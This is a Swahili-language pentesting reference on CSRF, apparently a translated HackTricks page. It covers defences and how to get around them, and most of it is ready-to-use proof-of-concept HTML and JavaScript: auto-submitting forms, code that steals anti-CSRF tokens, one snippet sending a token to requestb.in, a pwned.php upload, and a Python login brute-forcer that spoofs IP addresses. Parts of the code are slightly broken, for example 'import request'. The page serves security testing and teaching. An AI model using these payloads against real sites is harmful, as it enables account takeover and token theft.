CSRF (Cross Site Request Forgery)

Reading time: 17 minutes

Maelezo ya Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) ni aina ya udhaifu wa usalama unaopatikana katika programu za wavuti. Inawawezesha washambuliaji kufanya vitendo kwa niaba ya watumiaji wasiojua kwa kutumia vikao vyao vilivyothibitishwa. Shambulio linafanyika wakati mtumiaji, ambaye amejiandikisha kwenye jukwaa la mwathirika, anatembelea tovuti mbaya. Tovuti hii kisha inasababisha maombi kwa akaunti ya mwathirika kupitia mbinu kama vile kutekeleza JavaScript, kuwasilisha fomu, au kupakua picha.

Masharti ya Shambulio la CSRF

Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:

1. Tambua Kitendo Chenye Thamani: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nywila ya mtumiaji, barua pepe, au kuongeza mamlaka.
2. Usimamizi wa Kikao: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.
3. Ukosefu wa Vigezo Visivyoweza Kutabirika: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio.

Ukaguzi wa Haraka

Unaweza kukamata ombi katika Burp na kuangalia ulinzi wa CSRF na kujaribu kutoka kwa kivinjari unaweza kubofya Nakili kama fetch na kuangalia ombi:

Kujilinda Dhidi ya CSRF

Mbinu kadhaa zinaweza kutekelezwa ili kujilinda dhidi ya shambulio la CSRF:

• Vidakuzi vya SameSite: Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. Zaidi kuhusu vidakuzi vya SameSite.
• Kushiriki rasilimali za asili tofauti: Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. Jifunze kuhusu CORS bypass.
• Uthibitisho wa Mtumiaji: Kuuliza nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
• Kuangalia Vichwa vya Referrer au Origin: Kuangalia vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama:
• Kutumia http://mal.net?orig=http://example.com (URL inamalizika na URL inayotegemewa)
• Kutumia http://example.com.mal.net (URL inaanza na URL inayotegemewa)
• Kubadilisha Majina ya Vigezo: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki.
• Tokens za CSRF: Kuingiza token ya kipekee ya CSRF katika kila kikao na kuhitaji token hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuimarishwa kwa kutekeleza CORS.

Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uaminifu wa programu za wavuti.

Kupita Ulinzi

Kutoka POST hadi GET

Labda fomu unayotaka kutumia inPrepared kupeleka ombii la POST lenye token ya CSRF lakini, unapaswa kuangalia ikiwa GET pia ni halali na ikiwa unapopeleka ombi la GET token ya CSRF bado inathibitishwa.

Ukosefu wa token

Programu zinaweza kutekeleza mekanismu ya kuhakiki token wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitisho unakosekana kabisa wakati token haipo. Washambuliaji wanaweza kutumia hii kwa kuondoa parameter inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitisho na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.

Token ya CSRF haijafungwa kwa kikao cha mtumiaji

Programu zisizofunga token za CSRF kwa vikao vya watumiaji zina hatari kubwa ya usalama. Mifumo hii inathibitisha token dhidi ya hifadhi ya kimataifa badala ya kuhakikisha kila token inafungwa kwa kikao kilichozinduliwa.

Hapa kuna jinsi washambuliaji wanavyotumia hii:

1. Thibitisha kwa kutumia akaunti yao wenyewe.
2. Pata token halali ya CSRF kutoka kwa hifadhi ya kimataifa.
3. Tumia token hii katika shambulio la CSRF dhidi ya mwathirika.

Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia mchakato wa uthibitisho wa token usiofaa wa programu.

Kupita Mbinu

Ikiwa ombi linatumia mbinu "ya ajabu", angalia ikiwa uwezo wa kubadilisha mbinu unafanya kazi. Kwa mfano, ikiwa inatumia mbinu ya PUT unaweza kujaribu kutumia mbinu ya POST na kutuma: https://example.com/my/dear/api/val/num?_method=PUT

Hii inaweza pia kufanya kazi kwa kutuma parameter ya _method ndani ya ombi la POST au kutumia vichwa:

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Kupita Token ya Kichwa Maalum

Ikiwa ombi linaongeza kichwa maalum chenye token kwa ombi kama mbinu ya ulinzi wa CSRF, basi:

• Jaribu ombi bila Token ya Kichwa Maalum na pia kichwa.
• Jaribu ombi lenye urefu sawa lakini token tofauti.

Token ya CSRF inathibitishwa na cookie

Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na parameter ya ombi au kwa kuweka cookie ya CSRF na kuangalia ikiwa token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa token katika parameter ya ombi inalingana na thamani katika cookie.

Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama udhaifu wa CRLF. Mshambuliaji anaweza kutumia hii kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.

Hapa kuna mfano wa jinsi shambulio linaweza kuundwa:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Mabadiliko ya Aina ya Maudhui

Kulingana na hii, ili kuepuka maombi ya preflight kutumia njia ya POST hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa:

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Hata hivyo, kumbuka kwamba mantiki ya seva inaweza kutofautiana kulingana na Aina ya Maudhui iliyotumika hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama application/json,text/xml, application/xml.

Mfano (kutoka hapa) wa kutuma data ya JSON kama text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Kupita Maombi ya Preflight kwa Data ya JSON

Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia Content-Type: application/json katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia XMLHttpRequest kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:

1. Tumia Aina Mbadala za Maudhui: Tumia Content-Type: text/plain au Content-Type: application/x-www-form-urlencoded kwa kuweka enctype="text/plain" katika fomu. Njia hii inajaribu kuona ikiwa backend inatumia data bila kujali Aina ya Maudhui.
2. Badilisha Aina ya Maudhui: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na Content-Type: text/plain; application/json. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali application/json.
3. Matumizi ya Faili ya SWF Flash: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash ili kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea this post.

Kupita Ukaguzi wa Referrer / Origin

Epuka kichwa cha Referrer

Programu zinaweza kuthibitisha kichwa cha 'Referer' tu wakati kiko. Ili kuzuia kivinjari kutuma kichwa hiki, tag ya meta ya HTML ifuatayo inaweza kutumika:

<meta name="referrer" content="never">

Hii inahakikisha kuwa kichwa cha 'Referer' hakijajumuishwa, huenda ikapita mchakato wa uthibitishaji katika baadhi ya programu.

Regexp bypasses

{{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}}

Ili kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya vigezo unaweza kufanya:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Sehemu ya kwanza ya hii CTF writeup inaelezea kwamba kanuni ya chanzo ya Oak, router imewekwa kushughulikia maombi ya HEAD kama maombi ya GET bila mwili wa jibu - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanatolewa tu kwa mpangilio wa GET lakini programu inatoa tu mwili wa jibu.

Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET.

Mifano ya Kutekeleza

Kutoa CSRF Token

Ikiwa CSRF token inatumika kama kinga unaweza kujaribu kutoa kwa kutumia udhaifu wa XSS au udhaifu wa Dangling Markup.

GET kwa kutumia vitambulisho vya HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Mengine ya vitambulisho vya HTML5 ambavyo vinaweza kutumika kutuma ombi la GET kiotomatiki ni:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Ombi la GET la Fomu

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ombi la POST ya Fomu

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Fomu ya POST ombi kupitia iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ombi la POST la Ajax

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST ombi

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Fomu ya POST ombi kutoka ndani ya iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Kununua CSRF Token na kutuma ombi la POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Kununua CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Kununua CSRF Token na kutuma ombi la POST kwa kutumia iframe na fomu

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Kuwaibia token na kuutuma kwa kutumia iframes 2

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTKiba CSRF token na Ajax na tuma post na fomu

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF na Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa cha X-Forwarded-For kujaribu kupita orodha ya IP iliyozuiwa):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator

References

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html

​